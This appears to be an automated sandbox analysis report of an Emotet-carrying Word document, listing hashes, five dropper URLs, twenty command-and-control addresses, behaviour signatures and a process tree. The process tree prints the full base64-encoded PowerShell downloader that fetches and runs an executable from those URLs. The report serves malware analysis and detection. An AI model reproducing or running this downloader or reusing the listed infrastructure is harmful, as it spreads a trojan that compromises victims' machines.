Analysis

  • max time kernel
    148s
  • max time network
    100s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    01-08-2020 19:37

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.12914.10524.8198.doc

  • Size

    172KB

  • MD5

    cb5ae32dad8e346441d6f2cfbeb37637

  • SHA1

    bb6f200969dc8840eca595912d6059b51b610772

  • SHA256

    1358d1f876b1e3ab67933105eacb4778c2a17172b49668ef373de791731b641b

  • SHA512

    bbfb553fdb30da962ac3524beaf408ce775bdb09c0fd3de5462892d08d5a949740cf7e116d0672791212cdf2fd174bfdbd8300552707e2ae5dec8cc44df910a3

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://jambino.us/tv/DYsPb/

exe.dropper

http://www.kappetijn.eu/wp-admin/t5Uujywz88/

exe.dropper

http://killingworthlabs.com/wp-admin/n3tq5u168132549/

exe.dropper

http://kevinley.com/logon/LXkUb/

exe.dropper

http://movewithketty.com/cgi-bin/HISOotVOG/

Extracted

Family

emotet

C2

187.64.128.197:80

198.57.203.63:8080

163.172.107.70:8080

212.112.113.235:80

157.7.164.178:8081

181.167.35.84:80

212.156.133.218:80

185.142.236.163:443

181.143.101.19:8080

75.127.14.170:8080

115.165.3.213:80

190.55.233.156:80

139.59.12.63:8080

144.139.91.187:80

37.70.131.107:80

181.113.229.139:443

41.185.29.128:8080

177.37.81.212:443

5.79.70.250:8080

78.188.170.128:80

rsa_pubkey.plain

Signatures

  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12914.10524.8198.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:604
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAFEAQQBJAFcAcwB2AHUAPQAnAEUAVwBGAEYARABtAGQAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAFUAUgBpAFQAWQBQAGAAUgBgAG8AVABvAGAAYwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABDAEcASwBaAFIAZgBqAG4AIAA9ACAAJwA3ADAAMQAnADsAJABLAEEAQwBIAEsAcwB1AHQAPQAnAFgARABYAEkAWQBqAGoAZAAnADsAJABZAFMAUwBYAEgAbQBqAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEMARwBLAFoAUgBmAGoAbgArACcALgBlAHgAZQAnADsAJABQAFcAQQBCAE0AaABlAHYAPQAnAFcAQwBYAFcAUABuAGcAYwAnADsAJABPAFIATQBFAEYAeQBhAGsAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAGIAYwBMAEkARQBOAHQAOwAkAEgASQBQAFEAQgBqAHgAYQA9ACcAaAB0AHQAcAA6AC8ALwBqAGEAbQBiAGkAbgBvAC4AdQBzAC8AdAB2AC8ARABZAHMAUABiAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AawBhAHAAcABlAHQAaQBqAG4ALgBlAHUALwB3AHAALQBhAGQAbQBpAG4ALwB0ADUAVQB1AGoAeQB3AHoAOAA4AC8AKgBoAHQAdABwADoALwAvAGsAaQBsAGwAaQBuAGcAdwBvAHIAdABoAGwAYQBiAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG4AMwB0AHEANQB1ADEANgA4ADEAMwAyADUANAA5AC8AKgBoAHQAdABwADoALwAvAGsAZQB2AGkAbgBsAGUAeQAuAGMAbwBtAC8AbABvAGcAbwBuAC8ATABYAGsAVQBiAC8AKgBoAHQAdABwADoALwAvAG0AbwB2AGUAdwBpAHQAaABrAGUAdAB0AHkALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBIAEkAUwBPAG8AdABWAE8ARwAvACcALgAiAFMAUABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBJAFEAUABCAHkAZAB4AD0AJwBHAE4ASABWAFUAaQBpAG0AJwA7AGYAbwByAGUAYQBjAGgAKAAkAFgAVQBEAFMATABnAGEAdAAgAGkAbgAgACQASABJAFAAUQBCAGoAeABhACkAewB0AHIAeQB7ACQATwBSAE0ARQBGAHkAYQBrAC4AIgBkAG8AVwBOAGAATABPAGEAYABEAEYAaQBMAGUAIgAoACQAWABVAEQAUwBMAGcAYQB0ACwAIAAkAFkAUwBTAFgASABtAGoAcgApADsAJABEAEkATwBVAEMAcABoAHgAPQAnAFUAQQBPAEsAQwB2AG4AdQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAFkAUwBTAFgASABtAGoAcgApAC4AIgBMAGAARQBOAGcAdABoACIAIAAtAGcAZQAgADMANQA5ADMAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBgAFIARQBgAEEAVABlACIAKAAkAFkAUwBTAFgASABtAGoAcgApADsAJABaAFYAQgBYAE8AZwB5AGgAPQAnAEIASQBQAE8AQwByAGMAdQAnADsAYgByAGUAYQBrADsAJABUAEcAQQBJAEQAaQBpAHgAPQAnAFYASwBNAEkAWgBuAGQAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAEsAWgBPAEQAaABkAHcAPQAnAEYATABMAFQAQQBiAGYAYgAnAA==
    1⤵
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    PID:1496
  • C:\Users\Admin\701.exe
    C:\Users\Admin\701.exe
    1⤵
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:532
    • C:\Windows\SysWOW64\dxgi\pidgenx.exe
      "C:\Windows\SysWOW64\dxgi\pidgenx.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1304

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\701.exe
  • C:\Users\Admin\701.exe
  • C:\Windows\SysWOW64\dxgi\pidgenx.exe
  • memory/532-10-0x00000000003F0000-0x00000000003FC000-memory.dmp
    Filesize

    48KB

  • memory/604-2-0x00000000089D0000-0x00000000089D4000-memory.dmp
    Filesize

    16KB

  • memory/604-4-0x0000000006DB0000-0x0000000006FB0000-memory.dmp
    Filesize

    2.0MB

  • memory/604-5-0x000000000ADE0000-0x000000000ADE4000-memory.dmp
    Filesize

    16KB

  • memory/604-6-0x000000000BE60000-0x000000000BE64000-memory.dmp
    Filesize

    16KB

  • memory/1304-11-0x0000000000000000-mapping.dmp
  • memory/1304-13-0x00000000003E0000-0x00000000003EC000-memory.dmp
    Filesize

    48KB